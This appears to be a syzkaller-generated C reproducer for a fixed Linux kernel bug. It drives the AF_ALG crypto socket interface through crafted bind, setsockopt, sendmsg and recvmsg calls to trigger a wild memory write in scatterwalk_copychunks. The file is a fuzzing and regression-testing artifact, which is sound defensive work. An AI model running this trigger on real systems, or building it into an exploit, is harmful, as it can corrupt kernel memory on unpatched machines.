blob: bb2d40d667011f165d66344e4b040d7b2ae6fc1e [file] [log] [blame]
// KASAN: wild-memory-access Write in scatterwalk_copychunks
// https://syzkaller.appspot.com/bug?id=159d03c53cb4c57b1a3b2f29373271bc2536b4df
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
long r[2];
void loop()
{
memset(r, -1, sizeof(r));
syscall(__NR_mmap, 0x20000000, 0xf88000, 0x3, 0x32, 0xffffffff, 0x0);
r[0] = syscall(__NR_socket, 0x26, 0x5, 0x0);
*(uint16_t*)0x206be000 = 0x26;
memcpy((void*)0x206be002,
"\x61\x65\x61\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
14);
*(uint32_t*)0x206be010 = 0x0;
*(uint32_t*)0x206be014 = 0x1f;
memcpy((void*)0x206be018,
"\x72\x66\x63\x37\x35\x33\x39\x28\x63\x74\x72\x28\x74\x77\x6f"
"\x66\x69\x73\x68\x29\x2c\x73\x68\x61\x35\x31\x32\x2d\x67\x65"
"\x6e\x65\x72\x69\x63\x29\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00",
64);
syscall(__NR_bind, r[0], 0x206be000, 0x58);
memcpy((void*)0x201ec000, "\x0a\x07\x75\xb0\xd5\xe3\x83\xe5\xb3\xb6"
"\x0c\xed\x5c\x54\xdb\xb7\x29\x5d\xf0\xdf"
"\x82\x17\xad\x40\x00\x00\x00\x00\x00\x00"
"\x00\xe6",
32);
syscall(__NR_setsockopt, r[0], 0x117, 0x1, 0x201ec000, 0x20);
r[1] = syscall(__NR_accept, r[0], 0x0, 0x0);
*(uint64_t*)0x20861fc8 = 0x0;
*(uint32_t*)0x20861fd0 = 0x0;
*(uint64_t*)0x20861fd8 = 0x202c4000;
*(uint64_t*)0x20861fe0 = 0x1;
*(uint64_t*)0x20861fe8 = 0x20f77000;
*(uint64_t*)0x20861ff0 = 0x0;
*(uint32_t*)0x20861ff8 = 0x0;
*(uint64_t*)0x202c4000 = 0x20f82000;
*(uint64_t*)0x202c4008 = 0x10;
memcpy((void*)0x20f82000, "\x91\x26\x9d\xf3\x22\xae\x38\x4b\xb8\xb8"
"\xc9\xd2\xf3\x68\x1e\x70",
16);
syscall(__NR_sendmsg, r[1], 0x20861fc8, 0x0);
*(uint64_t*)0x2022efc8 = 0x20f74000;
*(uint32_t*)0x2022efd0 = 0x10;
*(uint64_t*)0x2022efd8 = 0x20892fb0;
*(uint64_t*)0x2022efe0 = 0x1;
*(uint64_t*)0x2022efe8 = 0x208adfba;
*(uint64_t*)0x2022eff0 = 0x46;
*(uint32_t*)0x2022eff8 = 0x0;
*(uint64_t*)0x20892fb0 = 0x2000bf7c;
*(uint64_t*)0x20892fb8 = 0x84;
syscall(__NR_recvmsg, r[1], 0x2022efc8, 0x0);
}
int main()
{
loop();
return 0;
}